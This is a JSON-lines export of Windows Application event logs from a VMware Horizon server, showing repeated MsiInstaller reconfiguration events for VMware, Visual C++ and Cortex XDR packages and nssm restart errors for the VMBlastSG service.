{"@timestamp":1657388920395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169274}}
{"@timestamp":1657388920424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169275}}
{"@timestamp":1657388920452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169276}}
{"@timestamp":1657388920884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169277}}
{"@timestamp":1657388920927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169278}}
{"@timestamp":1657388934466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":169279}}
{"@timestamp":1657388934468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":169280}}
{"@timestamp":1657388934469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":169281}}
{"@timestamp":1657388935746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":169282}}
{"@timestamp":1657388935748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":169283}}
{"@timestamp":1657388935748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","4352","0"]}}},"module":"Application","provider":"nssm","sequence":169284}}
{"@timestamp":1657388935749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["4352","4352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":169285}}
{"@timestamp":1657388935753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","7256","0"]}}},"module":"Application","provider":"nssm","sequence":169286}}
{"@timestamp":1657388935754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["7256","4352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":169287}}
{"@timestamp":1657388935757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":169288}}
{"@timestamp":1657388935758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":169289}}
{"@timestamp":1657388935759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":169290}}
{"@timestamp":1657388935760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","2000"]}}},"module":"Application","provider":"nssm","sequence":169291}}
{"@timestamp":1657388938244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":169292}}
{"@timestamp":1657388938245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":169293}}
{"@timestamp":1657388938246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","2700","0"]}}},"module":"Application","provider":"nssm","sequence":169294}}
{"@timestamp":1657388938246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["2700","2700","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":169295}}
{"@timestamp":1657388938250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","4492","0"]}}},"module":"Application","provider":"nssm","sequence":169296}}
{"@timestamp":1657388938250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1026,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["4492","VMBlastSG","The parameter is incorrect.\r\n"]}}},"module":"Application","provider":"nssm","sequence":169297}}
{"@timestamp":1657388938254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":169298}}
{"@timestamp":1657388938254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":169299}}
{"@timestamp":1657388938255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":169300}}
{"@timestamp":1657388938256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","4000"]}}},"module":"Application","provider":"nssm","sequence":169301}}
{"@timestamp":1657388943785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":169302}}
{"@timestamp":1657388951034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169303}}
{"@timestamp":1657388951061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169304}}
{"@timestamp":1657388951111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169305}}
{"@timestamp":1657388951155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169306}}
{"@timestamp":1657388951187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169307}}
{"@timestamp":1657388951218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169308}}
{"@timestamp":1657388951245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169309}}
{"@timestamp":1657388951272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169310}}
{"@timestamp":1657388951310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169311}}
{"@timestamp":1657388951340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169312}}
{"@timestamp":1657389010633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169313}}
{"@timestamp":1657389010661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169314}}
{"@timestamp":1657389010713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169315}}
{"@timestamp":1657389010754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169316}}
{"@timestamp":1657389010786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169317}}
{"@timestamp":1657389010820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169318}}
{"@timestamp":1657389010848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169319}}
{"@timestamp":1657389010875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169320}}
{"@timestamp":1657389010911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169321}}
{"@timestamp":1657389010939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169322}}
{"@timestamp":1657389070360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169323}}
{"@timestamp":1657389070386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169324}}
{"@timestamp":1657389070435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169325}}
{"@timestamp":1657389070475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169326}}
{"@timestamp":1657389070503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169327}}
{"@timestamp":1657389070537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169328}}
{"@timestamp":1657389070564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169329}}
{"@timestamp":1657389070589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169330}}
{"@timestamp":1657389070627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169331}}
{"@timestamp":1657389070655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169332}}
{"@timestamp":1657389130650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169333}}
{"@timestamp":1657389130678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169334}}
{"@timestamp":1657389130731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169335}}
{"@timestamp":1657389130771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169336}}
{"@timestamp":1657389130802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169337}}
{"@timestamp":1657389130833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169338}}
{"@timestamp":1657389130860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169339}}
{"@timestamp":1657389130886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169340}}
{"@timestamp":1657389130923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169341}}
{"@timestamp":1657389130950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169342}}
{"@timestamp":1657389190730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169343}}
{"@timestamp":1657389190759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169344}}
{"@timestamp":1657389190817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169345}}
{"@timestamp":1657389190860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169346}}
{"@timestamp":1657389190890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169347}}
{"@timestamp":1657389190928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169348}}
{"@timestamp":1657389190956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169349}}
